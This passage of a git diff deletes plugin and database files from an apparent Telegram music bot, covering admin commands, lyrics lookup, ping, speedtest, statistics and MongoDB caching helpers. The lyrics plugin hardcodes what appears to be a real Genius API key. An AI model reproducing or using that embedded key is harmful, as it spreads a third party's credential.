-from Champu import app
-from Champu.misc import SUDOERS
-from Champu.utils.database import set_video_limit
-from Champu.utils.decorators.language import language
-
-VIDEOLIMIT_COMMAND = get_command("VIDEOLIMIT_COMMAND")
-
-
-@app.on_message(filters.command(VIDEOLIMIT_COMMAND) & SUDOERS)
-@language
-async def set_video_limit_kid(client, message: Message, _):
- if len(message.command) != 2:
- usage = _["vid_1"]
- return await message.reply_text(usage)
- message.chat.id
- state = message.text.split(None, 1)[1].strip()
- if state.lower() == "disable":
- limit = 0
- await set_video_limit(limit)
- return await message.reply_text(_["vid_4"])
- if state.isnumeric():
- limit = int(state)
- await set_video_limit(limit)
- if limit == 0:
- return await message.reply_text(_["vid_4"])
- await message.reply_text(_["vid_3"].format(limit))
- else:
- return await message.reply_text(_["vid_2"])
diff --git a/Champu/plugins/sudo/videomode.py b/Champu/plugins/sudo/videomode.py
deleted file mode 100644
index b182502..0000000
--- a/Champu/plugins/sudo/videomode.py
+++ /dev/null
@@ -1,30 +0,0 @@
-from pyrogram import filters
-from pyrogram.types import Message
-
-import config
-from strings import get_command
-from Champu import app
-from Champu.misc import SUDOERS
-from Champu.utils.database import add_off, add_on
-from Champu.utils.decorators.language import language
-
-# Commands
-VIDEOMODE_COMMAND = get_command("VIDEOMODE_COMMAND")
-
-
-@app.on_message(filters.command(VIDEOMODE_COMMAND) & SUDOERS)
-@language
-async def videoloaymode(client, message: Message, _):
- usage = _["vidmode_1"]
- if len(message.command) != 2:
- return await message.reply_text(usage)
- state = message.text.split(None, 1)[1].strip()
- state = state.lower()
- if state == "download":
- await add_on(config.YTDOWNLOADER)
- await message.reply_text(_["vidmode_2"])
- elif state == "m3u8":
- await add_off(config.YTDOWNLOADER)
- await message.reply_text(_["vidmode_3"])
- else:
- await message.reply_text(usage)
diff --git a/Champu/plugins/tools/active.py b/Champu/plugins/tools/active.py
deleted file mode 100644
index 53fbc32..0000000
--- a/Champu/plugins/tools/active.py
+++ /dev/null
@@ -1,68 +0,0 @@
-from pyrogram import filters
-from pyrogram.types import Message
-
-from strings import get_command
-from Champu import app
-from Champu.misc import SUDOERS
-from Champu.utils.database.memorydatabase import (
- get_active_chats, get_active_video_chats)
-
-# Commands
-ACTIVEVC_COMMAND = get_command("ACTIVEVC_COMMAND")
-ACTIVEVIDEO_COMMAND = get_command("ACTIVEVIDEO_COMMAND")
-
-
-@app.on_message(filters.command(ACTIVEVC_COMMAND) & SUDOERS)
-async def activevc(_, message: Message):
- mystic = await message.reply_text(
- "Getting active voice chats.. Please hold"
- )
- served_chats = await get_active_chats()
- text = ""
- j = 0
- for x in served_chats:
- try:
- title = (await app.get_chat(x)).title
- except Exception:
- title = "Private Group"
- if (await app.get_chat(x)).username:
- user = (await app.get_chat(x)).username
- text += f"{j + 1}. [{title}](https://t.me/{user})[`{x}`]\n"
- else:
- text += f"{j + 1}. {title} [`{x}`]\n"
- j += 1
- if not text:
- await mystic.edit_text("No Active Voice Chats")
- else:
- await mystic.edit_text(
- f"**Active Voice Chats:-**\n\n{text}",
- disable_web_page_preview=True,
- )
-
-
-@app.on_message(filters.command(ACTIVEVIDEO_COMMAND) & SUDOERS)
-async def activevi_(_, message: Message):
- mystic = await message.reply_text(
- "Getting active video chats.. Please hold"
- )
- served_chats = await get_active_video_chats()
- text = ""
- j = 0
- for x in served_chats:
- try:
- title = (await app.get_chat(x)).title
- except Exception:
- title = "Private Group"
- if (await app.get_chat(x)).username:
- user = (await app.get_chat(x)).username
- text += f"{j + 1}. [{title}](https://t.me/{user})[`{x}`]\n"
- else:
- text += f"{j + 1}. {title} [`{x}`]\n"
- j += 1
- if not text:
- await mystic.edit_text("No Active Voice Chats")
- else:
- await mystic.edit_text(
- f"**Active Video Calls:-**\n\n{text}",
- disable_web_page_preview=True,
- )
diff --git a/Champu/plugins/tools/lyrics.py b/Champu/plugins/tools/lyrics.py
deleted file mode 100644
index 2ae4ab6..0000000
--- a/Champu/plugins/tools/lyrics.py
+++ /dev/null
@@ -1,57 +0,0 @@
-import random
-import re
-import string
-
-import lyricsgenius as lg
-from pyrogram import filters
-from pyrogram.types import (InlineKeyboardButton,
- InlineKeyboardMarkup, Message)
-
-from config import BANNED_USERS, lyrical
-from strings import get_command
-from Champu import app
-from Champu.utils.decorators.language import language
-
-###Commands
-LYRICS_COMMAND = get_command("LYRICS_COMMAND")
-
-api_key = "Vd9FvPMOKWfsKJNG9RbZnItaTNIRFzVyyXFdrGHONVsGqHcHBoj3AI3sIlNuqzuf0ZNG8uLcF9wAd5DXBBnUzA"
-y = lg.Genius(
- api_key,
- skip_non_songs=True,
- excluded_terms=["(Remix)", "(Live)"],
- remove_section_headers=True,
-)
-y.verbose = False
-
-
-@app.on_message(
- filters.command(LYRICS_COMMAND) & ~filters.edited & ~BANNED_USERS
-)
-@language
-async def lrsearch(client, message: Message, _):
- if len(message.command) < 2:
- return await message.reply_text(_["lyrics_1"])
- title = message.text.split(None, 1)[1]
- m = await message.reply_text(_["lyrics_2"])
- S = y.search_song(title, get_full_info=False)
- if S is None:
- return await m.edit(_["lyrics_3"].format(title))
- ran_hash = "".join(
- random.choices(string.ascii_uppercase + string.digits, k=10)
- )
- lyric = S.lyrics
- if "Embed" in lyric:
- lyric = re.sub(r"\d*Embed", "", lyric)
- lyrical[ran_hash] = lyric
- upl = InlineKeyboardMarkup(
- [
- [
- InlineKeyboardButton(
- text=_["L_B_1"],
- url=f"https://t.me/{app.username}?start=lyrics_{ran_hash}",
- ),
- ]
- ]
- )
- await m.edit(_["lyrics_4"], reply_markup=upl)
diff --git a/Champu/plugins/tools/ping.py b/Champu/plugins/tools/ping.py
deleted file mode 100644
index d8565fe..0000000
--- a/Champu/plugins/tools/ping.py
+++ /dev/null
@@ -1,37 +0,0 @@
-from datetime import datetime
-
-from pyrogram import filters
-from pyrogram.types import Message
-
-from config import BANNED_USERS, MUSIC_BOT_NAME, PING_IMG_URL
-from strings import get_command
-from Champu import app
-from Champu.core.call import Champu
-from Champu.utils import bot_sys_stats
-from Champu.utils.decorators.language import language
-
-### Commands
-PING_COMMAND = get_command("PING_COMMAND")
-
-
-@app.on_message(
- filters.command(PING_COMMAND)
- & filters.group
- & ~filters.edited
- & ~BANNED_USERS
-)
-@language
-async def ping_com(client, message: Message, _):
- response = await message.reply_photo(
- photo=PING_IMG_URL,
- caption=_["ping_1"],
- )
- start = datetime.now()
- pytgping = await Champu.ping()
- UP, CPU, RAM, DISK = await bot_sys_stats()
- resp = (datetime.now() - start).microseconds / 1000
- await response.edit_text(
- _["ping_2"].format(
- MUSIC_BOT_NAME, resp, UP, DISK, CPU, RAM, pytgping
- )
- )
diff --git a/Champu/plugins/tools/reload.py b/Champu/plugins/tools/reload.py
deleted file mode 100644
index c09a578..0000000
--- a/Champu/plugins/tools/reload.py
+++ /dev/null
@@ -1,135 +0,0 @@
-import asyncio
-
-from pyrogram import filters
-from pyrogram.types import CallbackQuery, Message
-
-from config import BANNED_USERS, MUSIC_BOT_NAME, adminlist, lyrical
-from strings import get_command
-from Champu import app
-from Champu.core.call import Champu
-from Champu.misc import db
-from Champu.utils.database import get_authuser_names, get_cmode
-from Champu.utils.decorators import (ActualAdminCB, AdminActual,
- language)
-from Champu.utils.formatters import alpha_to_int
-
-### Multi-Lang Commands
-RELOAD_COMMAND = get_command("RELOAD_COMMAND")
-RESTART_COMMAND = get_command("RESTART_COMMAND")
-
-
-@app.on_message(
- filters.command(RELOAD_COMMAND)
- & filters.group
- & ~filters.edited
- & ~BANNED_USERS
-)
-@language
-async def reload_admin_cache(client, message: Message, _):
- try:
- chat_id = message.chat.id
- admins = await app.get_chat_members(
- chat_id, filter="administrators"
- )
- authusers = await get_authuser_names(chat_id)
- adminlist[chat_id] = []
- for user in admins:
- if user.can_manage_voice_chats:
- adminlist[chat_id].append(user.user.id)
- for user in authusers:
- user_id = await alpha_to_int(user)
- adminlist[chat_id].append(user_id)
- await message.reply_text(_["admin_20"])
- except:
- await message.reply_text(
- "Failed to reload admincache. Make sure Bot is admin in your chat."
- )
-
-
-@app.on_message(
- filters.command(RESTART_COMMAND)
- & filters.group
- & ~filters.edited
- & ~BANNED_USERS
-)
-@AdminActual
-async def restartbot(client, message: Message, _):
- mystic = await message.reply_text(
- f"Please Wait.. Restarting {MUSIC_BOT_NAME} for your chat.."
- )
- await asyncio.sleep(1)
- try:
- db[message.chat.id] = []
- await Champu.stop_stream(message.chat.id)
- except:
- pass
- chat_id = await get_cmode(message.chat.id)
- if chat_id:
- try:
- await app.get_chat(chat_id)
- except:
- pass
- try:
- db[chat_id] = []
- await Champu.stop_stream(chat_id)
- except:
- pass
- return await mystic.edit_text(
- "Successfully restarted. Try playing now.."
- )
-
-
-@app.on_callback_query(filters.regex("close") & ~BANNED_USERS)
-async def close_menu(_, CallbackQuery):
- try:
- await CallbackQuery.message.delete()
- await CallbackQuery.answer()
- except:
- return
-
-
-@app.on_callback_query(filters.regex("close") & ~BANNED_USERS)
-async def close_menu(_, CallbackQuery):
- try:
- await CallbackQuery.message.delete()
- await CallbackQuery.answer()
- except:
- return
-
-
-@app.on_callback_query(
- filters.regex("stop_downloading") & ~BANNED_USERS
-)
-@ActualAdminCB
-async def stop_download(client, CallbackQuery: CallbackQuery, _):
- message_id = CallbackQuery.message.message_id
- task = lyrical.get(message_id)
- if not task:
- return await CallbackQuery.answer(
- "Downloading already Completed.", show_alert=True
- )
- if task.done() or task.cancelled():
- return await CallbackQuery.answer(
- "Downloading already Completed or Cancelled.",
- show_alert=True,
- )
- if not task.done():
- try:
- task.cancel()
- try:
- lyrical.pop(message_id)
- except:
- pass
- await CallbackQuery.answer(
- "Downloading Cancelled", show_alert=True
- )
- return await CallbackQuery.edit_message_text(
- f"Download Cancelled by {CallbackQuery.from_user.mention}"
- )
- except:
- return await CallbackQuery.answer(
- "Failed to stop the Downloading.", show_alert=True
- )
- await CallbackQuery.answer(
- "Failed to recognize the running task", show_alert=True
- )
diff --git a/Champu/plugins/tools/speedtest.py b/Champu/plugins/tools/speedtest.py
deleted file mode 100644
index 9235563..0000000
--- a/Champu/plugins/tools/speedtest.py
+++ /dev/null
@@ -1,50 +0,0 @@
-import asyncio
-import speedtest
-from pyrogram import filters
-from strings import get_command
-from Champu import app
-from Champu.misc import SUDOERS
-
-# Commands
-SPEEDTEST_COMMAND = get_command("SPEEDTEST_COMMAND")
-
-
-def testspeed(m):
- try:
- test = speedtest.Speedtest()
- test.get_best_server()
- m = m.edit("Running Download SpeedTest")
- test.download()
- m = m.edit("Running Upload SpeedTest")
- test.upload()
- test.results.share()
- result = test.results.dict()
- m = m.edit("Sharing SpeedTest Results")
- except Exception as e:
- return m.edit(e)
- return result
-
-
-@app.on_message(filters.command(SPEEDTEST_COMMAND) & SUDOERS)
-async def speedtest_function(client, message):
- m = await message.reply_text("Running Speed test")
- loop = asyncio.get_event_loop()
- result = await loop.run_in_executor(None, testspeed, m)
- output = f"""**Speedtest Results**
-
-**Client:**
-**__ISP:__** {result['client']['isp']}
-**__Country:__** {result['client']['country']}
-
-**Server:**
-**__Name:__** {result['server']['name']}
-**__Country:__** {result['server']['country']}, {result['server']['cc']}
-**__Sponsor:__** {result['server']['sponsor']}
-**__Latency:__** {result['server']['latency']}
-**__Ping:__** {result['ping']}"""
- msg = await app.send_photo(
- chat_id=message.chat.id,
- photo=result["share"],
- caption=output
- )
- await m.delete()
diff --git a/Champu/plugins/tools/stats.py b/Champu/plugins/tools/stats.py
deleted file mode 100644
index 9575a62..0000000
--- a/Champu/plugins/tools/stats.py
+++ /dev/null
@@ -1,465 +0,0 @@
-import asyncio
-import platform
-from sys import version as pyver
-
-import psutil
-from pyrogram import __version__ as pyrover
-from pyrogram import filters
-from pyrogram.errors import MessageIdInvalid
-from pyrogram.types import CallbackQuery, InputMediaPhoto, Message
-from pytgcalls.__version__ import __version__ as pytgver
-
-import config
-from config import BANNED_USERS, MUSIC_BOT_NAME
-from strings import get_command
-from Champu import YouTube, app
-from Champu.core.userbot import assistants
-from Champu.misc import SUDOERS, pymongodb
-from Champu.plugins import ALL_MODULES
-from Champu.utils.database import (get_global_tops,
- get_particulars, get_queries,
- get_served_chats,
- get_served_users, get_sudoers,
- get_top_chats, get_topp_users)
-from Champu.utils.decorators.language import language, languageCB
-from Champu.utils.inline.stats import (back_stats_buttons,
- back_stats_markup,
- get_stats_markup,
- overallback_stats_markup,
- stats_buttons,
- top_ten_stats_markup)
-
-loop = asyncio.get_running_loop()
-
-# Commands
-GSTATS_COMMAND = get_command("GSTATS_COMMAND")
-STATS_COMMAND = get_command("STATS_COMMAND")
-
-
-@app.on_message(
- filters.command(STATS_COMMAND)
- & filters.group
- & ~filters.edited
- & ~BANNED_USERS
-)
-@language
-async def stats_global(client, message: Message, _):
- upl = stats_buttons(
- _, True if message.from_user.id in SUDOERS else False
- )
- await message.reply_photo(
- photo=config.STATS_IMG_URL,
- caption=_["gstats_11"].format(config.MUSIC_BOT_NAME),
- reply_markup=upl,
- )
-
-
-@app.on_message(
- filters.command(GSTATS_COMMAND)
- & filters.group
- & ~filters.edited
- & ~BANNED_USERS
-)
-@language
-async def gstats_global(client, message: Message, _):
- mystic = await message.reply_text(_["gstats_1"])
- stats = await get_global_tops()
- if not stats:
- await asyncio.sleep(1)
- return await mystic.edit(_["gstats_2"])
-
- def get_stats():
- results = {}
- for i in stats:
- top_list = stats[i]["spot"]
- results[str(i)] = top_list
- list_arranged = dict(
- sorted(
- results.items(),
- key=lambda item: item[1],
- reverse=True,
- )
- )
- if not results:
- return mystic.edit(_["gstats_2"])
- videoid = None
- co = None
- for vidid, count in list_arranged.items():
- if vidid == "telegram":
- continue
- else:
- videoid = vidid
- co = count
- break
- return videoid, co
-
- try:
- videoid, co = await loop.run_in_executor(None, get_stats)
- except Exception as e:
- print(e)
- return
- (
- title,
- duration_min,
- duration_sec,
- thumbnail,
- vidid,
- ) = await YouTube.details(videoid, True)
- title = title.title()
- final = f"Top Most Played Track on {MUSIC_BOT_NAME}\n\n**Title:** {title}\n\nPlayed** {co} **times"
- upl = get_stats_markup(
- _, True if message.from_user.id in SUDOERS else False
- )
- await app.send_photo(
- message.chat.id,
- photo=thumbnail,
- caption=final,
- reply_markup=upl,
- )
- await mystic.delete()
-
-
-@app.on_callback_query(filters.regex("GetStatsNow") & ~BANNED_USERS)
-@languageCB
-async def top_users_ten(client, CallbackQuery: CallbackQuery, _):
- chat_id = CallbackQuery.message.chat.id
- callback_data = CallbackQuery.data.strip()
- what = callback_data.split(None, 1)[1]
- upl = back_stats_markup(_)
- try:
- await CallbackQuery.answer()
- except:
- pass
- mystic = await CallbackQuery.edit_message_text(
- _["gstats_3"].format(
- f"of {CallbackQuery.message.chat.title}"
- if what == "Here"
- else what
- )
- )
- if what == "Tracks":
- stats = await get_global_tops()
- elif what == "Chats":
- stats = await get_top_chats()
- elif what == "Users":
- stats = await get_topp_users()
- elif what == "Here":
- stats = await get_particulars(chat_id)
- if not stats:
- await asyncio.sleep(1)
- return await mystic.edit(_["gstats_2"], reply_markup=upl)
- queries = await get_queries()
-
- def get_stats():
- results = {}
- for i in stats:
- top_list = (
- stats[i]
- if what in ["Chats", "Users"]
- else stats[i]["spot"]
- )
- results[str(i)] = top_list
- list_arranged = dict(
- sorted(
- results.items(),
- key=lambda item: item[1],
- reverse=True,
- )
- )
- if not results:
- return mystic.edit(_["gstats_2"], reply_markup=upl)
- msg = ""
- limit = 0
- total_count = 0
- if what in ["Tracks", "Here"]:
- for items, count in list_arranged.items():
- total_count += count
- if limit == 10:
- continue
- limit += 1
- details = stats.get(items)
- title = (details["title"][:35]).title()
- if items == "telegram":
- msg += f"🔗[Telegram Files and Audios](https://t.me/telegram) ** played {count} times**\n\n"
- else:
- msg += f"🔗 [{title}](https://www.youtube.com/watch?v={items}) ** played {count} times**\n\n"
-
- temp = (
- _["gstats_4"].format(
- queries,
- config.MUSIC_BOT_NAME,
- len(stats),
- total_count,
- limit,
- )
- if what == "Tracks"
- else _["gstats_7"].format(
- len(stats), total_count, limit
- )
- )
- msg = temp + msg
- return msg, list_arranged
-
- try:
- msg, list_arranged = await loop.run_in_executor(
- None, get_stats
- )
- except Exception as e:
- print(e)
- return
- limit = 0
- if what in ["Users", "Chats"]:
- for items, count in list_arranged.items():
- if limit == 10:
- break
- try:
- extract = (
- (await app.get_users(items)).first_name
- if what == "Users"
- else (await app.get_chat(items)).title
- )
- if extract is None:
- continue
- await asyncio.sleep(0.5)
- except:
- continue
- limit += 1
- msg += f"🔗`{extract}` played {count} times on bot.\n\n"
- temp = (
- _["gstats_5"].format(limit, MUSIC_BOT_NAME)
- if what == "Chats"
- else _["gstats_6"].format(limit, MUSIC_BOT_NAME)
- )
- msg = temp + msg
- med = InputMediaPhoto(media=config.GLOBAL_IMG_URL, caption=msg)
- try:
- await CallbackQuery.edit_message_media(
- media=med, reply_markup=upl
- )
- except MessageIdInvalid:
- await CallbackQuery.message.reply_photo(
- photo=config.GLOBAL_IMG_URL, caption=msg, reply_markup=upl
- )
-
-
-@app.on_callback_query(filters.regex("TopOverall") & ~BANNED_USERS)
-@languageCB
-async def overall_stats(client, CallbackQuery, _):
- callback_data = CallbackQuery.data.strip()
- what = callback_data.split(None, 1)[1]
- if what != "s":
- upl = overallback_stats_markup(_)
- else:
- upl = back_stats_buttons(_)
- try:
- await CallbackQuery.answer()
- except:
- pass
- await CallbackQuery.edit_message_text(_["gstats_8"])
- served_chats = len(await get_served_chats())
- served_users = len(await get_served_users())
- total_queries = await get_queries()
- blocked = len(BANNED_USERS)
- sudoers = len(SUDOERS)
- mod = len(ALL_MODULES)
- assistant = len(assistants)
- playlist_limit = config.SERVER_PLAYLIST_LIMIT
- fetch_playlist = config.PLAYLIST_FETCH_LIMIT
- song = config.SONG_DOWNLOAD_DURATION
- play_duration = config.DURATION_LIMIT_MIN
- if config.AUTO_LEAVING_ASSISTANT == str(True):
- ass = "Yes"
- else:
- ass = "No"
- cm = config.CLEANMODE_DELETE_MINS
- text = f"""**Bot's Stats and Information:**
-
-**Imported Modules:** {mod}
-**Served Chats:** {served_chats}
-**Served Users:** {served_users}
-**Blocked Users:** {blocked}
-**Sudo Users:** {sudoers}
-
-**Total Queries:** {total_queries}
-**Total Assistants:** {assistant}
-**Auto Leaving Assistant:** {ass}
-**Cleanmode duration:** {cm} Mins
-
-**Play Duration Limit:** {play_duration} Mins
-**Song Download Limit:** {song} Mins
-**Bot's Server Playlist Limit:** {playlist_limit}
-**Playlist Play Limit:** {fetch_playlist}"""
- med = InputMediaPhoto(media=config.STATS_IMG_URL, caption=text)
- try:
- await CallbackQuery.edit_message_media(
- media=med, reply_markup=upl
- )
- except MessageIdInvalid:
- await CallbackQuery.message.reply_photo(
- photo=config.STATS_IMG_URL, caption=text, reply_markup=upl
- )
-
-
-@app.on_callback_query(filters.regex("bot_stats_sudo"))
-@languageCB
-async def overall_stats(client, CallbackQuery, _):
- if CallbackQuery.from_user.id not in SUDOERS:
- return await CallbackQuery.answer(
- "Only for Sudo Users", show_alert=True
- )
- callback_data = CallbackQuery.data.strip()
- what = callback_data.split(None, 1)[1]
- if what != "s":
- upl = overallback_stats_markup(_)
- else:
- upl = back_stats_buttons(_)
- try:
- await CallbackQuery.answer()
- except:
- pass
- await CallbackQuery.edit_message_text(_["gstats_8"])
- sc = platform.system()
- p_core = psutil.cpu_count(logical=False)
- t_core = psutil.cpu_count(logical=True)
- ram = (
- str(round(psutil.virtual_memory().total / (1024.0**3)))
- + " GB"
- )
- try:
- cpu_freq = psutil.cpu_freq().current
- if cpu_freq >= 1000:
- cpu_freq = f"{round(cpu_freq / 1000, 2)}GHz"
- else:
- cpu_freq = f"{round(cpu_freq, 2)}MHz"
- except:
- cpu_freq = "Unable to Fetch"
- hdd = psutil.disk_usage("/")
- total = hdd.total / (1024.0**3)
- total = str(total)
- used = hdd.used / (1024.0**3)
- used = str(used)
- free = hdd.free / (1024.0**3)
- free = str(free)
- mod = len(ALL_MODULES)
- db = pymongodb
- call = db.command("dbstats")
- datasize = call["dataSize"] / 1024
- datasize = str(datasize)
- storage = call["storageSize"] / 1024
- objects = call["objects"]
- collections = call["collections"]
- status = db.command("serverStatus")
- query = status["opcounters"]["query"]
- mongouptime = status["uptime"] / 86400
- mongouptime = str(mongouptime)
- served_chats = len(await get_served_chats())
- served_users = len(await get_served_users())
- total_queries = await get_queries()
- blocked = len(BANNED_USERS)
- sudoers = len(await get_sudoers())
- text = f""" **Bot's Stats and Information:**
-
-**Imported Modules:** {mod}
-**Platform:** {sc}
-**Ram:** {ram}
-**Physical Cores:** {p_core}
-**Total Cores:** {t_core}
-**Cpu Frequency:** {cpu_freq}
-
-**Python Version :** {pyver.split()[0]}
-**Pyrogram Version :** {pyrover}
-**Py-TgCalls Version :** {pytgver}
-
-**Storage Avail:** {total[:4]} GiB
-**Storage Used:** {used[:4]} GiB
-**Storage Left:** {free[:4]} GiB
-
-**Served Chats:** {served_chats}
-**Served Users:** {served_users}
-**Blocked Users:** {blocked}
-**Sudo Users:** {sudoers}
-
-**Mongo Uptime:** {mongouptime[:4]} Days
-**Total DB Size:** {datasize[:6]} Mb
-**Total DB Storage:** {storage} Mb
-**Total DB Collections:** {collections}
-**Total DB Keys:** {objects}
-**Total DB Queries:** `{query}`
-**Total Bot Queries:** `{total_queries} `
- """
- med = InputMediaPhoto(media=config.STATS_IMG_URL, caption=text)
- try:
- await CallbackQuery.edit_message_media(
- media=med, reply_markup=upl
- )
- except MessageIdInvalid:
- await CallbackQuery.message.reply_photo(
- photo=config.STATS_IMG_URL, caption=text, reply_markup=upl
- )
-
-
-@app.on_callback_query(
- filters.regex(pattern=r"^(TOPMARKUPGET|GETSTATS|GlobalStats)$")
- & ~BANNED_USERS
-)
-@languageCB
-async def back_buttons(client, CallbackQuery, _):
- try:
- await CallbackQuery.answer()
- except:
- pass
- command = CallbackQuery.matches[0].group(1)
- if command == "TOPMARKUPGET":
- upl = top_ten_stats_markup(_)
- med = InputMediaPhoto(
- media=config.GLOBAL_IMG_URL,
- caption=_["gstats_9"],
- )
- try:
- await CallbackQuery.edit_message_media(
- media=med, reply_markup=upl
- )
- except MessageIdInvalid:
- await CallbackQuery.message.reply_photo(
- photo=config.GLOBAL_IMG_URL,
- caption=_["gstats_9"],
- reply_markup=upl,
- )
- if command == "GlobalStats":
- upl = get_stats_markup(
- _,
- True if CallbackQuery.from_user.id in SUDOERS else False,
- )
- med = InputMediaPhoto(
- media=config.GLOBAL_IMG_URL,
- caption=_["gstats_10"].format(config.MUSIC_BOT_NAME),
- )
- try:
- await CallbackQuery.edit_message_media(
- media=med, reply_markup=upl
- )
- except MessageIdInvalid:
- await CallbackQuery.message.reply_photo(
- photo=config.GLOBAL_IMG_URL,
- caption=_["gstats_10"].format(config.MUSIC_BOT_NAME),
- reply_markup=upl,
- )
- if command == "GETSTATS":
- upl = stats_buttons(
- _,
- True if CallbackQuery.from_user.id in SUDOERS else False,
- )
- med = InputMediaPhoto(
- media=config.STATS_IMG_URL,
- caption=_["gstats_11"].format(config.MUSIC_BOT_NAME),
- )
- try:
- await CallbackQuery.edit_message_media(
- media=med, reply_markup=upl
- )
- except MessageIdInvalid:
- await CallbackQuery.message.reply_photo(
- photo=config.STATS_IMG_URL,
- caption=_["gstats_11"].format(config.MUSIC_BOT_NAME),
- reply_markup=upl,
- )
diff --git a/Champu/utils/database/__init__.py b/Champu/utils/database/__init__.py
deleted file mode 100644
index ac053a5..0000000
--- a/Champu/utils/database/__init__.py
+++ /dev/null
@@ -1,3 +0,0 @@
-from .assistantdatabase import *
-from .memorydatabase import *
-from .mongodatabase import *
diff --git a/Champu/utils/database/assistantdatabase.py b/Champu/utils/database/assistantdatabase.py
deleted file mode 100644
index 8d05428..0000000
--- a/Champu/utils/database/assistantdatabase.py
+++ /dev/null
@@ -1,107 +0,0 @@
-import random
-
-from Champu import userbot
-from Champu.core.mongo import mongodb
-
-db = mongodb.assistants
-
-assistantdict = {}
-
-
-async def get_client(assistant: int):
- if int(assistant) == 1:
- return userbot.one
- elif int(assistant) == 2:
- return userbot.two
- elif int(assistant) == 3:
- return userbot.three
- elif int(assistant) == 4:
- return userbot.four
- elif int(assistant) == 5:
- return userbot.five
-
-
-async def set_assistant(chat_id):
- from Champu.core.userbot import assistants
-
- ran_assistant = random.choice(assistants)
- assistantdict[chat_id] = ran_assistant
- await db.update_one(
- {"chat_id": chat_id},
- {"$set": {"assistant": ran_assistant}},
- upsert=True,
- )
- userbot = await get_client(ran_assistant)
- return userbot
-
-
-async def get_assistant(chat_id: int) -> str:
- from Champu.core.userbot import assistants
-
- assistant = assistantdict.get(chat_id)
- if not assistant:
- dbassistant = await db.find_one({"chat_id": chat_id})
- if not dbassistant:
- userbot = await set_assistant(chat_id)
- return userbot
- else:
- got_assis = dbassistant["assistant"]
- if got_assis in assistants:
- assistantdict[chat_id] = got_assis
- userbot = await get_client(got_assis)
- return userbot
- else:
- userbot = await set_assistant(chat_id)
- return userbot
- else:
- if assistant in assistants:
- userbot = await get_client(assistant)
- return userbot
- else:
- userbot = await set_assistant(chat_id)
- return userbot
-
-
-async def set_calls_assistant(chat_id):
- from Champu.core.userbot import assistants
-
- ran_assistant = random.choice(assistants)
- assistantdict[chat_id] = ran_assistant
- await db.update_one(
- {"chat_id": chat_id},
- {"$set": {"assistant": ran_assistant}},
- upsert=True,
- )
- return ran_assistant
-
-
-async def group_assistant(self, chat_id: int) -> int:
- from Champu.core.userbot import assistants
-
- assistant = assistantdict.get(chat_id)
- if not assistant:
- dbassistant = await db.find_one({"chat_id": chat_id})
- if not dbassistant:
- assis = await set_calls_assistant(chat_id)
- else:
- assis = dbassistant["assistant"]
- if assis in assistants:
- assistantdict[chat_id] = assis
- assis = assis
- else:
- assis = await set_calls_assistant(chat_id)
- else:
- if assistant in assistants:
- assis = assistant
- else:
- assis = await set_calls_assistant(chat_id)
- if int(assis) == 1:
- return self.one
- elif int(assis) == 2:
- return self.two
- elif int(assis) == 3:
- return self.three
- elif int(assis) == 4:
- return self.four
- elif int(assis) == 5:
- return self.five
diff --git a/Champu/utils/database/memorydatabase.py b/Champu/utils/database/memorydatabase.py
deleted file mode 100644
index fb6d081..0000000
--- a/Champu/utils/database/memorydatabase.py
+++ /dev/null
@@ -1,509 +0,0 @@
-import config
-from config import PRIVATE_BOT_MODE
-from Champu.core.mongo import mongodb
-
-channeldb = mongodb.cplaymode
-commanddb = mongodb.commands
-cleandb = mongodb.cleanmode
-playmodedb = mongodb.playmode
-playtypedb = mongodb.playtypedb
-langdb = mongodb.language
-authdb = mongodb.adminauth
-videodb = mongodb.yukkivideocalls
-onoffdb = mongodb.onoffper
-suggdb = mongodb.suggestion
-autoenddb = mongodb.autoend
-
-
-# Shifting to memory [ mongo sucks often]
-loop = {}
-playtype = {}
-playmode = {}
-channelconnect = {}
-langm = {}
-pause = {}
-mute = {}
-audio = {}
-video = {}
-active = []
-activevideo = []
-command = []
-cleanmode = []
-nonadmin = {}
-vlimit = []
-maintenance = []
-suggestion = {}
-autoend = {}
-
-
-# Auto End Stream
-
-
-async def is_autoend() -> bool:
- chat_id = 123
- mode = autoend.get(chat_id)
- if not mode:
- user = await autoenddb.find_one({"chat_id": chat_id})
- if not user:
- autoend[chat_id] = False
- return False
- autoend[chat_id] = True
- return True
- return mode
-
-
-async def autoend_on():
- chat_id = 123
- autoend[chat_id] = True
- user = await autoenddb.find_one({"chat_id": chat_id})
- if not user:
- return await autoenddb.insert_one({"chat_id": chat_id})
-
-
-async def autoend_off():
- chat_id = 123
- autoend[chat_id] = False
- user = await autoenddb.find_one({"chat_id": chat_id})
- if user:
- return await autoenddb.delete_one({"chat_id": chat_id})
-
-
-# SUGGESTION
-
-
-async def is_suggestion(chat_id: int) -> bool:
- mode = suggestion.get(chat_id)
- if not mode:
- user = await suggdb.find_one({"chat_id": chat_id})
- if not user:
- suggestion[chat_id] = True
- return True
- suggestion[chat_id] = False
- return False
- return mode
-
-
-async def suggestion_on(chat_id: int):
- suggestion[chat_id] = True
- user = await suggdb.find_one({"chat_id": chat_id})
- if user:
- return await suggdb.delete_one({"chat_id": chat_id})
-
-
-async def suggestion_off(chat_id: int):
- suggestion[chat_id] = False
- user = await suggdb.find_one({"chat_id": chat_id})
- if not user:
- return await suggdb.insert_one({"chat_id": chat_id})
-
-
-# LOOP PLAY
-async def get_loop(chat_id: int) -> int:
- lop = loop.get(chat_id)
- if not lop:
- return 0
- return lop
-
-
-async def set_loop(chat_id: int, mode: int):
- loop[chat_id] = mode
-
-
-# Channel Play IDS
-async def get_cmode(chat_id: int) -> int:
- mode = channelconnect.get(chat_id)
- if not mode:
- mode = await channeldb.find_one({"chat_id": chat_id})
- if not mode:
- return None
- channelconnect[chat_id] = mode["mode"]
- return mode["mode"]
- return mode
-
-
-async def set_cmode(chat_id: int, mode: int):
- channelconnect[chat_id] = mode
- await channeldb.update_one(
- {"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True
- )
-
-
-# PLAY TYPE WHETHER ADMINS ONLY OR EVERYONE
-async def get_playtype(chat_id: int) -> str:
- mode = playtype.get(chat_id)
- if not mode:
- mode = await playtypedb.find_one({"chat_id": chat_id})
- if not mode:
- playtype[chat_id] = "Everyone"
- return "Everyone"
- playtype[chat_id] = mode["mode"]
- return mode["mode"]
- return mode
-
-
-async def set_playtype(chat_id: int, mode: str):
- playtype[chat_id] = mode
- await playtypedb.update_one(
- {"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True
- )
-
-
-# play mode whether inline or direct query
-async def get_playmode(chat_id: int) -> str:
- mode = playmode.get(chat_id)
- if not mode:
- mode = await playmodedb.find_one({"chat_id": chat_id})
- if not mode:
